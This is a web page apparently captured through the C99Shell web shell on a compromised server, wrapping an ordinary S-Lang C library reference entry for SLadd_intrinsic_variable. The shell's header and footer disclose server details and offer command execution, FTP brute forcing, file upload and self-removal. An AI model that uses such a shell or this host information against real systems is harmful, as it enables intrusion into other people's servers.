!C99Shell v. 1.0 pre-release build #13!

Software: Apache/2.0.54 (Unix) mod_perl/1.99_09 Perl/v5.8.0 mod_ssl/2.0.54 OpenSSL/0.9.7l DAV/2 FrontPage/5.0.2.2635 PHP/4.4.0 mod_gzip/2.0.26.1a 

uname -a: Linux snow.he.net 4.4.276-v2-mono-1 #1 SMP Wed Jul 21 11:21:17 PDT 2021 i686 

uid=99(nobody) gid=98(nobody) groups=98(nobody) 

Safe-mode: OFF (not secure)

/usr/doc/slang-1.4.5/html/   drwxr-xr-x
Free 318.37 GB of 458.09 GB (69.5%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     cref-102.html (2.71 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
{The S-lang C Library Reference}: SLadd_intrinsic_variable Next Previous Contents

102. SLadd_intrinsic_variable

Synopsis

Add an intrinsic variable to the interpreter

Usage

int SLadd_intrinsic_variable (name, addr, type, rdonly)

    char *name
    VOID_STAR type
    unsigned char type
    int rdonly
Description

The SLadd_intrinsic_variable function adds an intrinsic variable called name to the interpeter. The second parameter addr specifies the address of the variable (cast to VOID_STAR). The third parameter, type, specifies the data type of the variable. If the fourth parameter, rdonly, is non-zero, the variable will interpreted by the interpreter as read-only.

If successful, SLadd_intrinsic_variable returns zero, otherwise it returns -1.

Example

Suppose that My_Global_Int is a global variable (at least not a local one):

    int My_Global_Int;
It can be added to the interpreter via the function call
    if (-1 == SLadd_intrinsic_variable ("MyGlobalInt",
                                        (VOID_STAR)&My_Global_Int,
                                        SLANG_INT_TYPE, 0))
      exit (1);
Notes

The current implementation requires all pointer type intrinsic variables to be read-only. For example,

    char *My_Global_String;
is of type SLANG_STRING_TYPE, and must be declared as read-only. Finally, not that
   char My_Global_Char_Buf[256];
is not a SLANG_STRING_TYPE object. This difference is very important because internally the interpreter dereferences the address passed to it to get to the value of the variable.
See Also

SLadd_intrinsic_function, SLadd_intrinsic_array

}


Next Previous Contents

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #13 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0242 ]--